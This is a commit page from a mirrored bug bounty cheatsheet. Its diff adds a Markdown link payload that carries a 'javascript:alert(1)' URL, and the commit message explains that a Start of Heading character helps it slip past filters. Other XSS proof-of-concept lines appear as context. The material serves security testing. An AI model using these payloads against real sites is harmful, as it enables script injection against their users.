mirror of
https://github.com/EdOverflow/bugbounty-cheatsheet.git
synced 2024-11-24 12:03:04 +00:00
Added one payload in Markdown XSS
Sometimes we can't start directly with javascript keyword then that time we need SOH(Start of Heading) character.
This commit is contained in:
parent
9b49b8dedc
commit
0e8fcc7678
1 changed files with 4 additions and 0 deletions
|
@ -118,6 +118,10 @@ javas	cript://www.google.com/%0Aalert(1)
|
|||
[a]: (javascript:prompt(1))
|
||||
```
|
||||
|
||||
```md
|
||||
[a]:(javascript:alert(1))
|
||||
```
|
||||
|
||||
|
||||
**Flash SWF XSS**
|
||||
|
||||
|
|
Loading…
Reference in a new issue